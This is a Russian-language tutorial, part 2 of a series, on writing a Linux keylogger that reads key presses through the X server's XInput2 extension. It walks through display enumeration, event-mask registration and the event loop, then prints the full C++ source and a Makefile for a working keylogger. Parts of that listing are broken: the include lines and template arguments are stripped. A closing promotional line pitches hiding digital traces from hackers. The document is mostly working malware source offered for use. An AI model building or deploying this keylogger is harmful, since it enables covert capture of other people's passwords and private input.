Пишем кейлоггер на Linux: часть 2

Пишем кейлоггер на Linux: часть 2

В Полном руководстве по кейлоггеру в Linux: часть 1 мы рассказали, как можно написать кейлоггер для Linux, считывая ввод непосредственно с клавиатуры. Сегодня мы рассмотрим немного другую технику захвата событий клавиатуры.

Стек графического интерфейса Linux

В отличие от других операционных систем графический интерфейс (graphical user interface, GUI) не является частью самой ОС Linux. Графическим интерфейсом управляет стек различных приложений, библиотек и протоколов. Общий стек выглядит примерно так:

    +---------------+                                      +--------------+
    |   Display:2   |<--=---+                    +----=--->|   WxWidget   |-----+
    +---------------+       |                    |         +--------------+     |
                            |                    |                              |
    +---------------+       |                    |         +--------------+     |
    |   Display:1   |<--=---+                    +----=--->|      Qt      |-----+
    +---------------+       |                    |         +--------------+     |
                            |                    |                              |
    +---------------+       |                    |         +--------------+     |
    |   Display:0   |<--=---+                    +----=--->|     GTK+     |-----+
    +---------------+       |                    |         +--------------+     |
                            |                    |                              |
                            |                    |                              |
     upd ate   +-------------+--+  ---=---> +-----+--------+   send data         |
    +------=--|    X Server    |           |     xlib     |<-------------=------+
    | screen  +----------------+  <--=---- +--------------+   ask to repaint
    |             ^
    |             | events
    |   +---------+----------------+
    +-->|       Linux Kernel       |
        +--------------------------+

X-сервер находится между GUI и ОС, и отвечает за предоставление различных примитивов. X-сервер реализует парадигму «окна, значки, меню, указатель», которая является базой в системе графического интерфейса.

Протокол, понятный X-серверу, ориентирован на сеть (вы можете рисовать экран в абсолютно другой системе, а не в той, в которой запущено приложение) и является расширяемым по дизайну.

Наборы GUI-инструментов GTK, GTK+, Qt и т. д. используют различные библиотеки X-сервера для рисования различных элементов управления. Затем приложения используют библиотеки для разработки своих собственных пользовательских интерфейсов. Как правило, приложения будут работать в среде рабочего стола, которая реализует «традиционные» элементы (лаунчер, обои и т. д.) и элементы управления (drag-and-drop перетаскивание и т.д.).

Терминология X-сервера

Поскольку X-сервер использует неинтуитивные термины, мы рассмотрим некоторые из них:

  • **display** (дисплей) — сам X-сервер;
  • **screen** (экран) — виртуальный фреймбуфер, связанный с «дисплеем». Дисплей может иметь более одного экрана;
  • **monitor** (монитор) — ваш физический монитор, на котором будет отображаться фреймбуфер. Как правило, экран будет сопоставлен с одним монитором. Можно использовать 2 монитора с одинаковым экраном или 2 небольших монитора как один большой экран (разные части экрана попадают на разные мониторы);
  • **root window** (корневое окно) — окно, в котором отображается все остальное. Это корневой узел дерева окон;
  • **virtual core device** (виртуальное основное устройство) — X-сервер всегда будет иметь 2 виртуальных основных (главных) устройства: мышь и клавиатуру. Они предназначены для предоставления основных действий в диапазоне разрешения экрана:
    • Пользователь, который зарегистрировался для событий XInput Extension, будет получать события в своем родном разрешении;
    • Пользователь, который напрямую открыл физические (подчиненные) устройства и зарегистрировался для событий, не получит основные события. Подчиненное устройство не может генерировать основные события.

Кейлоггинг в X-сервере

Основной способ захвата ввода выглядит следующим образом:

  • Проверка запуска X-сервера;
  • Перечисление доступных дисплеев;
  • Выбор нужного дисплея;
  • Проверка доступности XInputExtension;
  • Установка маски события для включения событий нажатий клавиш;
  • Чтение событий с дисплея в цикле.

Перечисление дисплеев

Во время работы X-сервер создает файлы сокетов в «/tmp/.X11-unix/» для каждого дисплея. Имена файлов соответствуют общему шаблону « X <цифры> », где «:<цифры>» будет отображаемым именем.

Мы можем пронумеровать этот путь и попытаться открыть доступные дисплеи. Так мы убедимся, что файлы сокетов действительно с X-сервера.

Пример кода для перечисления выглядит следующим образом:

std::vector<std::string> EnumerateDisplay()
{
  std::vector<std::string> displays;
 
  for (auto &p : std::filesystem::directory_iterator("/tmp/.X11-unix"))
  {
    std::string path = p.path().filename().string();
    std::string display_name = ":";
   
    if (path[0] != 'X') continue;
   
    path.erase(0, 1);
    display_name.append(path);
   
    Display *disp = XOpenDisplay(display_name.c_str());
    if (disp != NULL)
    {
      int count = XScreenCount(disp);
      printf("Display %s has %d screens\n",
        display_name.c_str(), count);

      int i;
      for (i=0; i<count; i++)
        printf(" %d: %dx%d\n",
          i, XDisplayWidth(disp, i), XDisplayHeight(disp, i));

      XCloseDisplay(disp);
     
      displays.push_back(display_name);
    }
  }
 
  return displays;
}

Мы перечислили экраны и их размеры для каждого обнаруженного дисплея. Если выполнить код, то он покажет:

Display :0 has 1 screens
 0: 1920x1080

С дисплеем связан только 1 экран с разрешением 1920x1080.

Обнаружение XInputExtension

Мы можем использовать XQueryExtension для проверки доступности расширения на выбранном дисплее. Поскольку расширения могут изменить свое поведение в будущем, нужно ограничиться конкретными версиями, в которых мы протестируем наш код. В этом примере мы будем придерживаться версии 2.0 XInputExtension.

Фрагмент кода для проверки выглядит следующим образом:

// Set up X
Display * disp = XOpenDisplay(hostname);
if (NULL == disp)
{
    std::cerr << "Cannot open X display: " << hostname << std::endl;
    exit(1);
}
 
// Test for XInput 2 extension
int xiOpcode, queryEvent, queryError;
if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError)) 
{
    std::cerr <<"X Input extension not available" << std::endl;
    exit(2);
}
// Request XInput 2.0, guarding against changes in future versions
int major = 2, minor = 0;
int queryResult = XIQueryVersion(disp, &major, &minor);
if (queryResult == BadRequest) 
{
    std::cerr << "Need XI 2.0 support (got " << major << "." << minor << std::endl;
    exit(3);
}
else if (queryResult != Success) 
{
    std::cerr << "Internal error" << std::endl;
    exit(4);
}

Регистрация событий

Чтобы получить определенные события от X-сервера, мы должны сообщить ему интересующие нас события с помощью маски события. Маска определяется следующим образом:

 typedef struct {
    int deviceid;
    int mask_len;
    unsigned char* mask;
} XIEventMask;
  • Если deviceid является допустимым устройством, то маска события выбирается только для этого устройства;
  • Если идентификатор устройства равен XIAllDevices, то маска события выбирается для всех устройств;
  • Если идентификатор устройства равен XIAllMasterDevices, то маска события выбирается для всех главных устройств.

Эффективная маска событий представляет собой побитовое ИЛИ XIAllDevices, XIAllMasterDevices и маски событий соответствующего устройства. Параметр mask_len определяет длину маски в байтах. Mask — это бинарная маска в виде «1 << тип события».

Маска может быть установлена следующим образом:

Window root = DefaultRootWindow(disp);
XIEventMask m;
m.deviceid = XIAllMasterDevices;
m.mask_len = XIMaskLen(XI_LASTEVENT);
m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char));
XISetMask(m.mask, XI_RawKeyPress);
XISetMask(m.mask, XI_RawKeyRelease);
 
XISelectEvents(disp, root, &m, 1);
XSync(disp, false);
free(m.mask);

Чтение событий

Данные события поступают в объект «XGenericEventCookie», который определяется так:

 typedef struct {
    int type;
    unsigned long serial;
    Bool send_event;
    Display *display;
    int extension;
    int evtype;
    unsigned int cookie;
    void *data;
} XGenericEventCookie; 

Для событий клавиатуры:

  • «type» станет _GenericEvent_;
  • «extension» станет _xiOpcode_;
  • «evtype» будет _XI_RawKeyRelease_ или _XI_RawKeyPress_;
  • «data» будут указывать на объект «XIRawEvent».

Чтобы прочитать события, нам нужно сделать следующее в цикле:

  • Выбрать событие с помощью «XNextEvent()»;
  • Убедиться, что выбранное событие предназначено для предполагаемого события (путем проверки значений полей);
  • Прочитать данные о событии.

Код для цикла выглядит следующим образом:

while (true) 
{
    XEvent event;
    XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie;
    XNextEvent(disp, &event);
 
    if (XGetEventData(disp, cookie) &&
            cookie->type == GenericEvent &&
            cookie->extension == xiOpcode) 
    {
        switch (cookie->evtype)
        {
            case XI_RawKeyRelease:
            case XI_RawKeyPress: 
            {
                XIRawEvent *ev = (XIRawEvent*)cookie->data;
 
                // Ask X what it calls that key
                KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0);
                if (NoSymbol == s) continue;
                char *str = XKeysymToString(s);
                if (NULL == str) continue;
 
                std::cout << (cookie->evtype == XI_RawKeyPress ? "+" : "-") << str << " " << std::flush;
                break;
            }
        }
    }
}

Если сравнить этот код с кодом кейлоггера из 1 части статьи, то можно увидеть, что нам не нужно вручную сопоставлять коды сканирования с фактическими клавишами на клавиатуре. X-сервер самостоятельно сопоставляет код сканирования с клавишами на текущей раскладке.

Полный код

Для полноты картины представим код целиком:

Keylogger.cpp

#include <X11/XKBlib.h>
#include <X11/extensions/XInput2.h>
 
#include 
 
#include 
#include 
#include 
#include 
#include 
 
int printUsage(std::string application_name) 
{
    std::cout << "USAGE: " << application_name << " [-display ] [-enumerate] [-help]" << std::endl;
    std::cout << "display      target X display                   (default :0)" << std::endl;
    std::cout << "enumerate    enumerate all X11 displays" << std::endl;
    std::cout << "help         print this information and exit" << std::endl;
 
    exit(0);
}
 
std::vector EnumerateDisplay()
{
    std::vector displays;
    
    for (auto &p : std::filesystem::directory_iterator("/tmp/.X11-unix"))
    {
        std::string path = p.path().filename().string();
        std::string display_name = ":";
        
        if (path[0] != 'X') continue;
        
        path.erase(0, 1);
        display_name.append(path);
        
        Display *disp = XOpenDisplay(display_name.c_str());
        if (disp != NULL) 
        {
            int count = XScreenCount(disp);
            printf("Display %s has %d screens\n",
                display_name.c_str(), count);
 
            int i;
            for (i=0; i<count; i++)
                printf(" %d: %dx%d\n",
                    i, XDisplayWidth(disp, i), XDisplayHeight(disp, i));
 
            XCloseDisplay(disp);
            
            displays.push_back(display_name);
        }
    }
    
    return displays;
}
 
int main(int argc, char * argv[])
{
    const char * hostname    = ":0";
 
    // Get arguments
    for (int i = 1; i < argc; i++)
    {
        if      (!strcmp(argv[i], "-help"))
            printUsage(argv[0]);
        else if (!strcmp(argv[i], "-display"))  
            hostname    = argv[++i];
        else if (!strcmp(argv[i], "-enumerate"))
        {
            EnumerateDisplay();
            return 0;
        }
        else
        { 
            std::cerr << "Unknown argument: " << argv[i] << std::endl;
            printUsage(argv[0]); 
        }
    }
 
    // Se t up X
    Display * disp = XOpenDisplay(hostname);
    if (NULL == disp)
    {
        std::cerr << "Cannot open X display: " << hostname << std::endl;
        exit(1);
    }
 
    // Test for XInput 2 extension
    int xiOpcode, queryEvent, queryError;
    if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError)) 
    {
        std::cerr << "X Input extension not available" << std::endl;
        exit(2);
    }
    { // Request XInput 2.0, guarding against changes in future versions
        int major = 2, minor = 0;
        int queryResult = XIQueryVersion(disp, &major, &minor);
        if (queryResult == BadRequest) 
        {
            std::cerr << "Need XI 2.0 support (got " << major << "." << minor << std::endl;
            exit(3);
        }
        else if (queryResult != Success) 
        {
            std::cerr << "Internal error" << std::endl;
            exit(4);
        }
    }
 
    // Register events
    Window root = DefaultRootWindow(disp);
    
    XIEventMask m;
    m.deviceid = XIAllMasterDevices;
    m.mask_len = XIMaskLen(XI_LASTEVENT);
    m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char));
    XISetMask(m.mask, XI_RawKeyPress);
    XISetMask(m.mask, XI_RawKeyRelease);
    
    XISelectEvents(disp, root, &m, 1);
    XSync(disp, false);
    free(m.mask);
 
    while (true) 
    {
        XEvent event;
        XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie;
        XNextEvent(disp, &event);
 
        if (XGetEventData(disp, cookie) &&
                cookie->type == GenericEvent &&
                cookie->extension == xiOpcode) 
        {
            switch (cookie->evtype)
            {
                case XI_RawKeyRelease:
                case XI_RawKeyPress: 
                {
                    XIRawEvent *ev = (XIRawEvent*)cookie->data;
 
                    // Ask X what it calls that key
                    KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0);
                    if (NoSymbol == s) continue;
                    char *str = XKeysymToString(s);
                    if (NULL == str) continue;
 
                    std::cout <<  (cookie->evtype == XI_RawKeyPress ? "+" : "-") << str << " " << std::flush;
                    break;
                }
            }
        }
    }
}

Makefile

keylogger: keylogger.cpp
$(CXX) --std=c++17 -pedantic -Wall -lX11 -lXi -o keylogger keylogger.cpp -O0 -ggdb
clean:
rm --force keylogger

Цифровые следы - ваша слабость, и хакеры это знают.

Подпишитесь и узнайте, как их замести!